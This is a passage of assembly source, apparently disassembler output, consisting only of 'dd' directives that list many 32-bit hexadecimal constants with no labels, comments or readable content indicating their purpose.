		dd 3C39DCh, 0FBE72C42h,	76E20910h, 80451B3Dh, 0B6070CA4h
		dd 3A0E8Fh, 5DF0D251h, 7FC7E3FDh, 0F02CFF8h, 116BFC2h
		dd 2BE0823Ch, 0C830C3C3h, 248AACAh, 3BE68211h, 3440CDE7h
		dd 8E0FE202h, 60FFBDA4h, 0EC0D75C7h, 27DB093Dh,	0A4A0A033h
		dd 0FDE38677h, 7A164504h, 0A8C0A9F9h, 982DFA65h, 806A0178h
		dd 0BE5F8714h, 19C723Fh, 21302A75h, 8030736Ch, 6B2B1F31h
		dd 1DCBC035h, 5B6E55F7h, 0FDC38400h, 0CE3D960Bh, 79730060h
		dd 4AC8562Ch, 0BE25EE6Ch, 0CE74BCh, 4728F627h, 8D002106h
		dd 0FB2D4BC9h, 9E68A1h,	0D4453C8Bh, 82ACFF70h, 46787E00h
		dd 1DC7129Dh, 0FDE40035h, 0F38DA24Bh, 0EBF86D88h, 0BC40B700h
		dd 4C94B504h, 0F50A00C8h, 98514B7Ah, 16001A0Fh,	43B7321Ch
		dd 0B503A3h, 7BE3EC8Bh,	4BDD28C1h, 9EB61E0Eh, 85CEE5C8h
		dd 807D0092h, 391470A7h, 0CCC202ECh, 41C0B49Eh,	836B38E1h
		dd 8EDF088Ch, 1B80D7FDh, 0B8CD8Ch, 0DC9BA6C8h, 811C2AD1h
		dd 8562A907h, 0A5847E67h, 92D49881h, 5024F331h,	749C0021h
		dd 88BB5D2Fh, 0AD1FA2ABh, 42805F3Fh, 0DF75BE63h, 1E870068h
		dd 61707B9Fh, 0E1077210h, 82901985h, 0F962FBD0h, 1FD707A5h
		dd 100E7ACFh, 0D2B2242Dh, 9725A800h, 6BC45612h,	5CEA00DDh
		dd 3E52EDFBh, 0EF069242h, 75FFC971h, 74F6000Eh,	2C2D023Ch
		dd 17263BE0h, 0C80344D4h, 0E0CA8A5Fh, 3C728069h, 0F0004AC1h
		dd 0FBF417EFh, 83018547h, 61280415h, 0D1C0122Dh, 0D837073Eh
		dd 0C073B5FCh, 826B4CA6h, 690B9300h, 6EC28B5Eh,	0B6E90041h
		dd 1191E5C1h, 490E396Ah, 0C0C820C3h, 0D079F0CFh, 747E0058h
		dd 5D7FA146h, 8807C445h, 0F5189C16h, 4A1DED40h,	1718B83Fh
		dd 0A4FF7Eh, 0FB15D188h, 69E0E86Ah, 2CD0BA2Eh, 0D2D32E01h
		dd 48FC1231h, 20860717h, 6B3891h, 51E14B06h, 0C402D298h
		dd 1E25DD3Bh, 5FA8E8A1h, 34552E13h, 6351006Ch, 78023645h
		dd 881FDF30h, 21BA485h,	0B5DA885Ch, 10B1AD90h, 0F04006FEh
		dd 0BF7101D6h, 0C019D97Dh, 203D093h, 21591030h,	3233BD2h
		dd 7454B53h, 83A58350h,	2A93D0E9h, 0D80A6198h, 0A836B500h
		dd 1D8CC2E0h, 0BC3000A2h, 3930C44h, 9615C012h, 0C94211Bh
		dd 881EF1BDh, 38C50236h, 0C64EE482h, 60A61CE3h,	0DCE54FFCh
		dd 389AA2E6h, 20159928h, 0D8D28830h, 3CB4229Bh,	97AA81AAh
		dd 801C8410h
		dd 6335B05Ch, 0ED4D0E3h, 4BFD3B0h, 5F67607h, 0F430DB4Eh
		dd 73D52508h, 41FA3EEDh, 0A84D1100h, 0C46662F9h, 0E6B8B20Eh
		dd 1421208Bh, 1FD5105Ah, 4BBD4D2Bh, 2581FA87h, 0D0582667h
		dd 0AA01D7C0h, 73BCA7A5h, 93CCCC7Bh, 74F49871h,	919617BAh
		dd 3AF0D4F1h, 4D00BA04h, 8B7269DAh, 943CF87Eh, 75A9184Eh
		dd 0ED9C10h, 24333C0Fh,	25BEDBE2h, 0B5079E7Ch, 4AE56DFBh
		dd 558201C8h, 0E037F642h, 0CC911E79h, 74136200h, 176FF1Ch
		dd 3CBF6086h, 0F49B8E0Fh, 223058B5h, 3A3F8924h,	9D470E6Bh
		dd 7E412F9Ch, 8482ED4Fh, 19BD2929h, 3243AA00h, 5D002B9Dh
		dd 5AEDDD96h, 0C3A0E47Dh, 0F4CF8321h, 308ED800h, 0C68F3208h
		dd 541E00D5h, 8B03AF97h, 35034EF6h, 9408EEB9h, 0B13100D0h
		dd 0B78A7F3Dh, 52EC20D7h, 2968AE00h, 0A5958FD0h, 86B100EBh
		dd 0DE038223h, 0AF000990h, 0C2DF6F79h, 607EA581h, 0AD712024h
		dd 9F79CD8Ah, 99682230h, 3BA5A652h, 2967559Bh, 0A2E46151h
		dd 94119792h, 3BFCDC02h, 3CC890CAh, 789300BCh, 0F7639086h
		dd 14C07EEh, 160E135Ch,	0D8A5B007h, 8098EBCEh, 4BD150EEh
		dd 72AA4C5Dh, 0A596EE03h, 600625B5h, 0C563024Fh, 28827C98h
		dd 12EC67C3h, 868AB1h, 37BE9508h, 190BDD01h, 204C15A1h
		dd 908A9F08h, 1DBB2CF2h, 4F031E00h, 823358Dh, 82870991h
		dd 0A880B8D1h, 40171B3Dh, 0F731BB07h, 9EC51F85h, 8F9417C0h
		dd 7CBA75A8h, 52900AF8h, 9B06B46h, 0DCE07F1Fh, 8330A323h
		dd 9E929854h, 0E2AF0130h, 525590DFh, 5818A857h,	8A40260Fh
		dd 4FCE877Eh, 0C6D9A686h, 283893F0h, 66788800h,	8FA4A319h
		dd 346A3035h, 4A1B7918h, 0F9D05E01h, 3BBD2060h,	0D158F0h
		dd 5A8A23D7h, 46F61B8h,	7FAC9107h, 0AFE04316h, 1D750B2h
		dd 0DA5FE4C8h, 0DC0D7CCFh, 667C03D6h, 48F8CC01h, 0F4F08CA8h
		dd 88A0C426h, 6605EA52h, 0D2FEBB44h, 0C3220C03h, 195002C4h
		dd 20296216h, 1B7CCB20h, 7D3607ACh, 0FCFE653Ah,	3892AF08h
		dd 1B846400h, 23CBA4EEh, 742648D4h, 60A3200Bh, 0F72E9420h
		dd 946093B4h, 23A9B811h, 0C507A0Dh, 9B991F44h, 0D1C0C108h
		dd 8723A8D7h, 0F29A1CBBh, 0B7A40EFh, 0F95C186Fh, 26397F44h
		dd 20011AFh, 0CBFAB24Fh, 3EE0CC8Eh, 8EE63B79h, 114C649h
		dd 0EAE39803h, 0CC415EFBh, 0DFEA8C18h, 296D2383h, 0B509B000h
		dd 3E9BAB89h, 2C444DE1h, 27E70402h, 4043F0F8h, 0A458AAB8h
		dd 0F401CA6h, 0C74F5F8h, 9A2A003Ah, 0EDD02B2Fh,	7F000D34h
		dd 0E5E0BBC9h, 129BA35Dh, 40641E83h, 0D6F06544h, 0AA04818Dh
		dd 600A58C2h, 681344C2h, 0F8486Ch, 0BDC675D5h, 85406F6Bh
		dd 0DAFD9509h, 91FC2EBAh, 0F5CB100h, 0FA2DD16Fh, 9667C401h
		dd 4320C10Ch, 93E7430h,	836BDA3Ah, 8888F80Ch, 0D603028Ch
		dd 0B562818Ch, 21806D19h, 68D550C5h, 3F007D40h,	9E75AD24h
		dd 243A7B79h, 87847F12h, 4204DDC9h, 0A0E081A5h,	0DF072977h
		dd 3B1A42BCh, 80D82A92h, 0FEBE948Ch, 0C75703B0h, 1843DD7Fh
		dd 0A097C0F7h, 9900E008h, 194DEB7Eh, 24161C9Dh,	6F4828C8h
		dd 36521BC1h, 88C7188Dh, 1B0086BEh, 834CE70Ch, 2663D021h
		dd 804EECBh, 0D900625Ah, 8663546h, 553D3509h, 0C57C0A40h
		dd 1B814034h, 554636B5h, 896B8879h, 0AFCC1B04h,	20C477DBh
		dd 0A16368C2h, 0D5120B0h, 4CBF59E0h, 0FB094CD1h, 74A758AEh
		dd 81E4C155h, 952086D9h, 60085A71h, 61352168h, 7F001AE4h
		dd 0B7E8FDF9h, 7945251Fh, 0FFC0C2BAh, 0D068CC9Eh, 0AC52161Ah
		dd 1B6A015Ch, 3B2D36A6h, 0B88BC90Ch, 0B71B92h, 90E54FDEh
		dd 81D0DE8h, 0B0003892h, 4A2570BBh, 2D9D61Bh, 0CA500A40h
		dd 0E401DC6Ah, 7C345BEAh, 699EF018h, 1C1D5822h,	7280B591h
		dd 0E48763E7h, 50392260h, 2EC9AAC8h, 6004E3CAh,	37E00548h
		dd 78135301h, 895D3EF7h, 2E9F460h, 0AF202BE7h, 0A0AE83B1h
		dd 197E62E3h, 0A7223200h, 735250F3h, 730E797h, 1457D4Bh
		dd 910C7781h, 4465EBF2h, 23D43AACh, 2EA80753h, 6429A0BEh
		dd 4E0B675Ch, 29D4EEB2h, 41E89A14h, 9218B384h, 50100EF6h
		dd 0D2C87A8Bh, 23A46280h, 515F339h, 0EE033C83h,	0ABB40AD5h
		dd 1B6BC3F8h, 182536C9h, 93C88BAFh, 0FF73F71Bh,	42209C5Ch
		dd 589064E0h, 0F1238D60h, 11735023h, 8F9300BDh,	3AC10823h
		dd 2EB102ABh, 5A49CAD3h, 0BDA1A840h, 0AC90B898h, 98694B22h
		dd 0F7BF2104h, 2965511h, 9B500444h, 0BE4404CCh,	23C700D8h
		dd 6F8B3DC6h, 483AB7E5h, 148F8311h, 14D1059Eh, 642F6970h
		dd 8CC0ACh, 0D57C41CCh,	0FB4031C9h, 7B071D0Eh, 718480F8h
		dd 0BC6C4CAh, 2D0CBE69h, 0BD916017h, 0E60C2F80h, 48020A56h
		dd 8DD0AFEAh, 0C07C628Fh, 4C09807Ch, 9F384C1Ah,	740C7EACh
		dd 14E18FDh, 0EFAE958Ch, 733B7287h, 92506458h, 0E4D60D61h
		dd 678C1281h, 20A3216Fh, 0A7BFCAD5h, 7082AF24h,	3878CD80h
		dd 0FC791CBEh, 0C1E40016h, 1FA576BAh, 0F1C7D33Ah, 0AF76B251h
		dd 3394B0C8h, 0C44180AEh, 8340E7B2h, 580FC989h,	4CF55ED6h
		dd 5D215Ah, 3A90D274h, 0A87D065Bh, 73205090h, 0DAA0025Eh
		dd 0EF161546h, 0DBCB5060h, 0B07E7C30h, 4255F0Ah, 10A9A470h
		dd 0AF14C8DCh, 0E457FE02h, 596D7B0Dh, 1A720010h, 965D28B9h
		dd 66B9C767h, 0E1873BD2h, 4ACC7A5Bh, 5C220091h,	0EFFF45ACh
		dd 9C593983h, 0A0B10688h, 7AB95150h, 4DDE04E8h,	90B322F7h
		dd 375370B4h, 36D1A200h, 0E7D0CE31h, 99600E5Ah,	4560AD9Ah
		dd 37C2B97Bh, 0E90028B2h, 0F8A29688h, 4D86787Eh, 0AC803CF4h
		dd 0A1D97CE4h, 924D448Ch, 88E4B303h, 0F8A4E5C7h, 4BBED4Ch
		dd 55828677h, 0A0F092EAh, 1A934059h, 0CC231C2Fh, 154F0700h
		dd 7DB8820Ah, 31AD0323h, 8A0997CDh, 0DFFEECA8h,	644A3C91h
		dd 9B75215Ch, 7900EB9Fh, 0DED2A469h, 189CF619h,	0C85DEE3Dh
		dd 8272B3B7h, 13BD2896h, 603B37F7h, 8300BF23h, 42B17251h
		dd 80570410h, 0D2EC22D6h, 2C661A58h, 7FAF1815h,	51B900B8h
		dd 9D723CBAh, 9CFB017Ch, 1F20165Ch, 1EE0F45Dh, 4F1640B0h
		dd 3020580Bh, 4CC1BF73h, 0A623D87Ah, 0B01B7800h, 86391D36h
		dd 168B244h, 28891B80h,	24AAEA4Fh, 3C06BFACh, 454EEE0Bh
		dd 67E880A1h, 7F0E8629h, 0D736571Bh, 0C18C38h, 68091B87h
		dd 37843688h, 3978C200h, 0D6EA4C2Ah, 558B1C7h, 48332EF4h
		dd 0C0CEAEB0h, 0A3500B23h, 0BC448679h, 23A50055h, 4E276233h
		dd 1D00727Dh, 0F4B3E402h, 0B96FBD5h, 0AFDEA510h, 9CCC0068h
		dd 98F2400h, 629B9AB5h,	223600BAh, 0D02BD97Fh, 1492651Fh
		dd 524D4A00h, 0BB6BC55h, 2C44B888h, 2CAC0E70h, 58909144h
		dd 75780F14h, 647CA5E5h, 0A2BFEC04h, 6FC84C8Bh,	6551AFCEh
		dd 2CCC5BB1h, 0E64D02B2h, 1E764E86h, 0D0375080h, 0F21F045Ch
		dd 0A7855985h, 8C47C996h, 7D10FF84h, 71613928h,	754DF29Ah
		dd 82CD0417h, 90037665h, 3CA5C5F0h, 74071912h, 0DCF43C90h
		dd 156C79CBh, 2C588ED0h, 699F0D00h, 0B4F1F8DAh,	71635000h
		dd 0AA6CB959h, 4E2D0FA7h, 44B30AEAh, 0A14255CCh, 0A2C433D4h
		dd 0F35E30BFh, 25A02C00h, 0E7C68991h, 0D741369h, 2F00061Ah
		dd 0A1C686Dh, 5F894E71h, 0A7E405FAh, 6CC8448Bh,	438077C4h
		dd 0D991B9h, 9C64CBFh, 1AF9CA97h, 9278BE3Dh, 8080C89Eh
		dd 2E3A52B7h, 0E02A20h,	7630FC19h, 8A00ED26h, 6C114702h
		dd 0EDF0908h, 4865772Eh
		dd 7C9B95C0h, 0ECAA84AEh, 0DCA6160h, 6B39EBF6h,	0FBA9801Dh
		dd 8576BB5Bh, 681A030h,	1A710378h, 528399C0h, 0A4972FA2h
		dd 281C091h, 20283292h,	167E9F8Ch, 582C2400h, 345417E9h
		dd 68D6B0h, 13BCBA40h, 0EC1716D1h, 1424AE76h, 0D223E03Ah
		dd 92A63E00h, 4872358Fh, 0BDF8F038h, 0D9C5028Ch, 3BB49EECh
		dd 5086A260h, 30A2AC00h, 3854748Ch, 73DA254Eh, 0EA628480h
		dd 70C16AC3h, 841BDC13h, 48BC18A2h, 892310F5h, 8FD60601h
		dd 1863FA81h, 0D54FCA83h, 69A320D1h, 9E992CA8h,	0C4BFE904h
		dd 0D251F480h, 98C050AAh, 0C37900A9h, 0F3FC299Dh, 500383B5h
		dd 0FEAAC601h, 0A5D1E836h, 3DC1036Bh, 7EFF26B0h, 7805BCA0h
		dd 81FA223Eh, 0A1D6391Ch, 0C7608C94h, 3E21C070h, 2773F91Ah
		dd 0DD0E93ECh, 6FE25652h, 9F3343BDh, 0F2378803h, 2D6538B9h
		dd 0D8398530h, 0EA008E79h, 3A2844E1h, 0F9C592h,	0D5B3D6F6h
		dd 43C096AEh, 0B8310603h, 0C0180738h, 1CBE6ADCh, 837A6421h
		dd 5F623DCCh, 8005E8A1h, 0BE747920h, 2147F1h, 83E136C3h
		dd 1A7BED53h, 95AC0107h, 0BAC09B0Ah, 0C0CCBB55h, 15601888h
		dd 0D5502FE2h, 2D317F91h, 0BD640876h, 4080209Eh, 482E9DE2h
		dd 7A001AFBh, 0D6BCAFD8h, 680E86h, 0C820E4C6h, 82383C2Ah
		dd 216B2600h, 5044FFDAh, 6D773CC5h, 0CE1DF100h,	66BF9B0Fh
		dd 38643B30h, 0FD187Fh,	0C013A1C2h, 0B4CA5BCh, 620123Ah
		dd 4488396Ch, 21B06708h, 0C90B80C6h, 9F758725h,	0D31E2100h
		dd 1258A0A8h, 0D160C0DDh, 0C0CAFA86h, 5133E407h, 45202D57h
		dd 681AFEh, 210A4F32h, 351326B1h, 0ADFF8306h, 3204355h
		dd 7DA60785h, 0DCA0DE2Fh, 5D008266h, 2849D687h,	0C5FA264h
		dd 608AEED3h, 0F1000CC0h, 9B110579h, 50BF44Fh, 22ECF087h
		dd 44921FD2h, 9817B03Ah, 0FA081F28h, 0CF411C6Ch, 175B0091h
		dd 0B69E3DF9h, 0DB6A0E93h, 0AE40D40Bh, 65835ED5h, 3FE78C3h
		dd 0BD3015C7h, 0E200D452h, 6B546D1Eh, 4E001061h, 702DCDE7h
		dd 0A1D6BDA6h, 444829A2h, 6AFA0821h, 8AC4311Ch,	0F9194140h
		dd 0C04F6238h, 21576309h, 0FEEED520h, 3E1AFC50h, 21EC1950h
		dd 0F9383984h, 0CC3DFC13h, 0EA851C01h, 9583A73Fh, 70E0EC60h
		dd 0B92A1C34h, 96280533h, 21C40064h, 0B6ED0EABh, 0B44D52h
		dd 0FA4C4410h, 242402BFh, 1A84E45h, 0C2B6D534h,	66C04881h
		dd 0EE7599C3h, 0A000BCEAh, 84B95053h, 0BC488C90h, 0EFE2334h
		dd 20C40B4Dh, 20B56234h, 5A0B4567h, 0D02B602h, 48695361h
		dd 49D582E8h, 6306B8E7h, 995F3D1Bh, 4C7BEDE0h, 53C42606h
		dd 4679B081h, 0B320217h, 319C201Ch, 4A6410ACh, 82D9000Bh
		dd 45CDDEF1h, 1C001E70h, 86D206AFh, 24C8ADA4h, 2188C3Ch
		dd 0C99821EFh, 2D1EBC80h, 10E6E4C3h, 8185ED37h,	0FB21C0CEh
		dd 26D160B2h, 1170A727h, 0FA25802Dh, 91111C6Eh,	0FCD5C048h
		dd 420083F9h, 0A6337145h, 7DE3B48Bh, 134E118Eh,	31883070h
		dd 84E618h, 7F54D749h, 268719A3h, 0DC29E028h, 0C1AFF700h
		dd 0BEEA9CE4h, 14BD15C2h, 9BE894C0h, 96001E98h,	6EE5A8B3h
		dd 13D839E3h, 60B8BA35h, 36E21070h, 1111D523h, 288B0068h
		dd 98AD01E2h, 0D60A06F7h, 0D886DEB6h, 2A335500h, 4F4263F4h
		dd 2806493Dh, 0C91C6600h, 495E65D8h, 0CCA00776h, 0F0A4CEFh
		dd 0B4A2400Eh, 23802B11h, 211C70FAh, 8D22D743h,	0F91B3F00h
		dd 401CDA6Fh, 79CF02C6h, 4D352362h, 1D0424C4h, 2D683CCAh
		dd 6A8F54C0h, 1B182B80h, 0B36019Ch, 183C2010h, 2E6888AAh
		dd 0D10B4Ch, 0FE92513Dh, 1860E5F6h, 6869F94Bh, 709DA12h
		dd 0FC818EFh, 286C6870h, 0B5F62040h, 374CEEF8h,	61721084h
		dd 28350901h, 66480641h, 0BE6D1258h, 5413E813h,	20D15832h
		dd 0D9BE56FCh, 0C27FFD00h, 0C3D2DBD0h, 1EE704DDh, 0C00BDA01h
		dd 9C9053ACh, 0D83DFF2Ah, 0E27DEEF0h, 17543C92h, 49127DF4h
		dd 9040B02Fh, 0B64F13CEh, 0F8166012h, 45079584h, 7069F576h
		dd 11849D49h, 54E78766h, 3CF1401Fh, 0CA868Fh, 39C6BB37h
		dd 95536318h, 9F059390h, 0EDE848D6h, 27EFA402h,	3AF4A447h
		dd 0E3DCC08Bh, 75C3F600h, 0A8264A7h, 78AB5ED3h,	0D0850080h
		dd 7721EE23h, 0E09531CEh, 264D5302h, 514B1862h,	8893906Fh
		dd 50960C38h, 130C0582h, 492B6674h, 0FF8202C5h,	63592895h
		dd 3048A86Ah, 0B9D6AD3Bh, 8C738C2Fh, 40E22E00h,	0FDA59A5Eh
		dd 0C583F4EDh, 40CAA021h, 6620F8BCh, 440902DEh,	809E094Dh
		dd 0C56C84CCh, 5C929Fh,	65AC0E9Ah, 25F54331h, 402EC824h
		dd 1631608h, 0B9CB326Eh, 0FCC0CEAFh, 712EF11Eh,	5C3808DBh
		dd 42C7B44h, 0FC202C63h, 1302B746h, 29D549E2h, 6E105731h
		dd 0D400E22Bh, 0EA8FF973h, 38B08B84h, 81A43649h, 0AF465EC0h
		dd 0A6A3E601h, 0EA573A20h, 27548490h, 1CD2CC18h, 2C69CBA9h
		dd 5374748Fh, 73C023h, 0D535E20Fh, 0E0B9C249h, 0E2278A60h
		dd 0BC6E00F4h, 2B04C17Ch, 4F1893CCh, 699A45Fh, 1E124F9h
		dd 60C403B8h, 0C3B966EEh, 14A820BBh, 95043898h,	407132D9h
		dd 0A3862881h, 48642E60h, 8AF810B0h, 3B0B1C8Ch,	7C19F848h
		dd 63BE18AEh, 30ABE29Ch, 7C0074B7h, 0A4101817h,	551158Ah
		dd 5EC78F29h, 8B58814Bh, 2FD10776h, 0D8892B26h,	10806DBFh
		dd 39FD327Eh, 6436209h,	6C64B04Bh, 641F12BEh, 0BC8B8Ah
		dd 0ADBE6E27h, 55825830h, 65F1BCD8h, 56233822h,	4CE21201h
		dd 5C1821D5h, 2A6D88h, 7E2707E2h, 66BF694Ah, 8F6CC448h
		dd 0FCF4851h, 90395D3h,	1024D236h, 210AF828h, 0D6C2D069h
		dd 0C43C67AFh, 0F270608Dh, 38750974h, 405A016h,	6DBE0BEDh
		dd 2B6584B0h, 32C94D01h, 0BA78BC9Fh, 7C1E18BFh,	6D60013Ah
		dd 0FAC8FE9Dh, 681AFD00h, 5C98B84Dh, 50C15419h,	2C796B52h
		dd 3E2E237Ch, 6422BE04h, 20D06292h, 7ABE7576h, 2CE8A271h
		dd 726B800h, 7E53BDFFh,	802F4CA8h, 2091A600h, 0A066C017h
		dd 3484A8AAh, 0B386019h, 2C202C0Eh, 306270A0h, 0B6150B00h
		dd 0AEFB752Bh, 948F58F2h, 726A2D10h, 6F20D098h,	86662570h
		dd 41CF0884h, 11622A35h, 16F89CA2h, 0BE654Eh, 95314D25h
		dd 0DE702291h, 49F84F49h, 87C4CC0h, 988C1F5Eh, 2D831903h
		dd 7F943754h, 2933BAA0h, 2340685Ch, 0FA28002Ch,	0D9891C6Dh
		dd 0D860C891h, 0EE2F9FFh, 1F4FF186h, 0C0021D64h, 0A9A42D08h
		dd 0A43B144Ah, 1A00AE23h, 3AC8299Fh, 786D0FF0h,	96D4B733h
		dd 0C913071Dh, 903072BAh, 3808E20Eh, 64C241D5h,	26894063h
		dd 0F9AE2h, 682F7D17h, 0AD205857h, 8856CD00h, 52B92A10h
		dd 7818125Ah, 0A3F8C01Fh, 96181323h, 2069CB1Ah,	9468031Ch
		dd 2506D97Ch, 59D0DF83h, 0F8D4046Eh, 506E4BDCh,	666BD400h
		dd 7090428h, 5324C37Ch,	3D93446Eh, 0B7C0089Ah, 4E2451DDh
		dd 0B1F67900h, 86D559E1h, 9C7540C2h, 81249458h,	714F66D3h
		dd 39091C62h, 0FCC70FBAh, 0E3606344h, 0FD04BF9Ah, 19EF6965h
		dd 0AAD30B81h, 231A0428h, 78E5D986h, 7F8031EFh,	1366D59Ch
		dd 30CC6E4Dh, 0E5555E1Eh, 0FF6D27D2h, 23762C20h, 0BD00C4AEh
		dd 0A4FAFBBAh, 191AB3Ch, 7E34D380h, 70010630h, 5E1557D0h
		dd 234C7623h, 0FA26012Ah, 73191C6Fh, 0FDD2805Ch, 4FDBF9h
		dd 6A7BCCA6h, 8C0E5DEh,	70901259h, 89B48825h, 0C05C4D00h
		dd 89FB1C2h, 0A85CC100h, 954D4814h, 0BAA3037Dh,	9DC5CC18h
		dd 9A343100h, 9F70AF33h
		dd 0B7D8C4D0h, 0E88B2498h, 20C07788h, 0FC6C49E7h, 37E40B40h
		dd 8D098257h, 0F8C5A421h, 8A788017h, 499D8CE9h,	1FA6FACFh
		dd 0C01C5FE0h, 4EA16348h, 0BC18EF93h, 0E6A999C2h, 51D30062h
		dd 0F1AE0901h, 451C4727h, 0FFC7572Ah, 42B074A7h, 49BCB6EDh
		dd 0F2003054h, 0F658CBD6h, 4500838Fh, 4A4CE167h, 1C846B28h
		dd 3B9407h, 92309614h, 9A4CDA13h, 65C80287h, 0C0CBBD4Bh
		dd 0B1ED0638h, 18E6D118h, 477C03ABh, 0BF9F01FFh, 92BC5801h
		dd 2EEF4B9Dh, 0C05E034h, 722D5B94h, 0D54AF568h,	5E036016h
		dd 90099B1Fh, 5670A8BFh, 3D201C4Bh, 367CEB18h, 124ED198h
		dd 9C1B26Ch, 4885AFCCh,	6256C581h, 30C04B20h, 0A8994420h
		dd 0B43C5C0h, 0B38C02F1h, 0AD1A16CAh, 0AAE814E0h, 0FC00F4E8h
		dd 837DD405h, 58129807h, 0B0BC7081h, 0AE55018Ch, 0B30A2D50h
		dd 0FD98D021h, 0E5EE3C02h, 0A059BD05h, 0B8547EE0h, 7817009Ch
		dd 6E428DA5h, 0FA005EF8h, 0E9C89B0Eh, 2DD6FDEh,	11E7DD2h
		dd 0D0D0E462h, 0CB60B610h, 408BFE12h, 0C6F50850h, 6E07150Eh
		dd 7F73A53Dh, 188CD824h, 0C35A0057h, 33A4753Ah,	5D026899h
		dd 3F4A1CFEh, 0EDE08FBAh, 30A1C9CFh, 35946004h,	5B00833Fh
		dd 3C724729h, 7C071731h, 7B4C3D2Bh, 31974FAh, 731EB02Ch
		dd 7A0143Fh, 2D003C46h,	26322177h, 2C29227Fh, 1624831Ch
		dd 88D4CB41h, 9E12C0D2h, 6909255Eh, 240716E3h, 6F604264h
		dd 641226BEh, 3C8A5F72h, 0BEB8FA07h, 0C94A31E7h, 13407076h
		dd 28E33902h, 80D5E659h, 0AF48B0B8h, 611B0443h,	97065046h
		dd 0DEB6F148h, 12E46877h, 687C68F9h, 2CB58B57h,	9C465B20h
		dd 53631703h, 980B7255h, 48EED34Dh, 0B15820DCh,	185CD1FCh
		dd 0BF300125h, 34914B3h, 0F6FC40ABh, 0CA4C2122h, 74312C08h
		dd 1C877411h, 0B1D5E1E2h, 870F0BC1h, 26E0E214h,	3817F573h
		dd 0BCFB8A0Ch, 0C214Fh,	614C325Bh, 0C365B19Ah, 746B7E07h
		dd 21535AA4h, 9534F8ACh, 0FAD801CCh, 0EE4EFAEh,	0A666D813h
		dd 642A0C2h, 70ECB02Fh,	642311BEh, 80D2886Ah, 0BABE71FBh
		dd 3F00D9DCh, 82AA5756h, 50DABFFh, 488F4A09h, 0DD38A019h
		dd 1EADBE0Eh, 0F8EA4A51h, 5E080C2Ch, 847F0071h,	200C7C4Fh
		dd 12F47E01h, 869DDDFAh, 76FF6CF0h, 4019246Fh, 0D1465E3Ch
		dd 44C1F500h, 0F14383B6h, 0B7F1F09h, 0ACF0C8FFh, 0FE4880CBh
		dd 0C085ED24h, 0EC5D8340h, 11126027h, 6F109507h, 44D3432Eh
		dd 3C7D2A80h, 4BDD404h,	0C1C95683h, 4654D01Fh, 0C00D6CDh
		dd 91054BA3h, 0D60D1B29h, 0C8B4CBC0h, 3124C776h, 0E4250F8Dh
		dd 1F2CB735h, 7F1306C6h, 0B588EC8Bh, 77FE3EC1h,	9450E0E9h
		dd 0B02C33D8h, 1DC4E299h, 891578A7h, 6CE86C50h,	54911D9Ch
		dd 0C6944004h, 16068C1h, 0C542F042h, 60D3E46Ch,	4A2AF09h
		dd 60B0B292h, 37008263h, 0FB0114F9h, 0C9AA1F94h, 2A31ECh
		dd 0BF55E06Eh, 810E61A2h, 0F071A8FFh, 0C2A71B00h, 655828E4h
		dd 2230062h, 0CE9F2EB4h, 0F933F2EFh, 0A8D8C811h, 2851DC4h
		dd 20B3A453h, 0E0D00251h, 0D0910D79h, 2B5A3E90h, 16123D0h
		dd 85D904A2h, 9E98D436h, 0C2525A7Dh, 294B01A4h,	533B0256h
		dd 14D3C0D7h, 8E9648F9h, 7F12C801h, 6044DE3Ah, 64912D8Dh
		dd 0C8FF1C0Bh, 0F1DBA5Ch, 0EAC6CA33h, 422F124Fh, 268B801Eh
		dd 5D82B92Bh, 346F1301h, 0FC3362Dh, 0F8BA8660h,	0C0A9C0D1h
		dd 4CF153BFh, 0A2B898B6h, 64FDF897h, 8C081861h,	349E42E0h
		dd 0D2465Ch, 353876EFh,	58C644DAh, 680C8BCh, 0F7CCE10Dh
		dd 6D86C900h, 89149210h, 40A40F6Ch, 0B3C49DF5h,	12C4C1EBh
		dd 0C80C0072h, 83661AD5h, 0D460105Fh, 1083EDFAh, 3E619228h
		dd 36BE121Ah, 0CCB974A0h, 0B630BC91h, 4CD1F2E1h, 0B21863D1h
		dd 0DBA90A00h, 0B4C11F13h, 1ED91364h, 2EEC289Eh, 7366D30Bh
		dd 59202169h, 0A880E706h, 7B6D8738h, 0A2073A0Bh, 1ECD6B5Fh
		dd 11041D9Bh, 0FFD2805Ch, 0A81122E3h, 14BF4CD8h, 90783286h
		dd 0F00C6E86h, 0EA2E64B0h, 0A803E8DEh, 48D7BA50h, 2F4B2090h
		dd 0B02394h, 0AEF0D402h, 8212718Ah, 34A2E44Ch, 4858F510h
		dd 95D30810h, 944591ADh, 64250B10h, 2C1C5Ah, 7DBE57FDh
		dd 253F849Dh, 6975807h,	0B89A7EDAh, 0E03C2A58h,	45F507F7h
		dd 23464ED0h, 542C5684h, 0B2002087h, 0EC83F296h, 8EF09920h
		dd 5184CDF7h, 43C8ACDAh, 335AA2C4h, 1E990388h, 6CFE092Ch
		dd 1BC8D380h, 7859A201h, 5EACB40Bh, 0AE395746h,	339702FEh
		dd 99FF1DC5h, 83A50068h, 9A6B6800h, 0BE5BC737h,	961513B4h
		dd 0DC0D008h, 0C802061Bh, 8310622Ah, 0C084E8D3h, 0BB880916h
		dd 10047C03h, 5820F28Ah, 8C59B870h, 0A475DC3Fh,	56800C9Eh
		dd 1EB6C99Dh, 70A0E239h, 0E52A28E3h, 2F875B88h,	1E92354h
		dd 0C77D9E97h, 73FEF950h, 194B0074h, 76DB31E8h,	47F339ACh
		dd 0AA459Fh, 6BD48748h,	1FEC0C1Bh, 0BC3C4148h, 87178CE6h
		dd 8C64856Eh, 3ECD9C02h, 0A5EC94CCh, 6064C418h,	16B8C19h
		dd 239C7E71h, 23C0A8A1h, 30B1B2C4h, 0CB02A471h,	0C1AE498Dh
		dd 9D7CC1C5h, 274AB028h, 0ED1EB048h, 8900A58Ah,	0F315EB3h
		dd 7A49BE78h, 9A278017h, 0D9D5F013h, 66425447h,	821469C3h
		dd 223C4982h, 0C808E4h,	0EF0D5902h, 0A30A217Ah,	99E04900h
		dd 1CBF6C27h, 0B89088h,	21B535EBh, 0CA58B816h, 16340D48h
		dd 3C30BE22h, 405F0164h, 230961B4h, 702EECB9h, 8054995Ch
		dd 6397E1D6h, 75274523h, 3EE09D33h, 5C030946h, 0D1A32095h
		dd 9901EF0h, 7E82B70Ah,	3D649882h, 11D63C5Eh, 1508E5F4h
		dd 0A0EFB6h, 16E9022h, 1231F57Dh, 186E443h, 0B662E64Ch
		dd 0BC043C58h, 0C4098CD7h, 422B7CAFh, 642EC094h, 0AF609B0Dh
		dd 61911895h, 99BAEC80h, 0FE0121E1h, 0B96B543Fh, 1870D860h
